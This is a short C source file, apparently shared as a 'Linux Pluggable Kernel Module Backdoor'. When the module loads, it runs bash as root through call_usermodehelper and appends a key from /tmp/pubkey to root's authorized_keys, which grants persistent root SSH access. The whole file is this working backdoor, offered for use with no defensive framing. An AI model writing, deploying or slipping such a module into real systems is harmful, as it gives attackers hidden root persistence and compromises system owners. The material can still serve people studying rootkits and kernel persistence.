Linux Pluggable Kernel Module Backdoor

rooted.c

#include <linux/module.h>       /* Needed by all modules */
#include <linux/kernel.h>       /* Needed for KERN_INFO */
#include <linux/init.h>         /* Needed for the macros */

/* For our shell ^_^ */
#include<linux/kmod.h>

int get_root (void)
{

    char * envp[] = { "HOME=/", NULL };
    char *argv[] = { "/bin/bash", "-c", "/bin/cat /tmp/pubkey >> /root/.ssh/authorized_keys", NULL};
    printk(KERN_INFO "Call Usermodehelper...\n");
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    printk(KERN_INFO "Done usermodehelper...\n");
    return 0;
}

static int __init hello_start(void)
{
    printk(KERN_INFO "Loading rooted module...\n");
    return get_root();
    return 0;
}

static void __exit hello_end(void)
{
    printk(KERN_INFO "Goodbye Mr.\n");
}

module_init(hello_start);
module_exit(hello_end);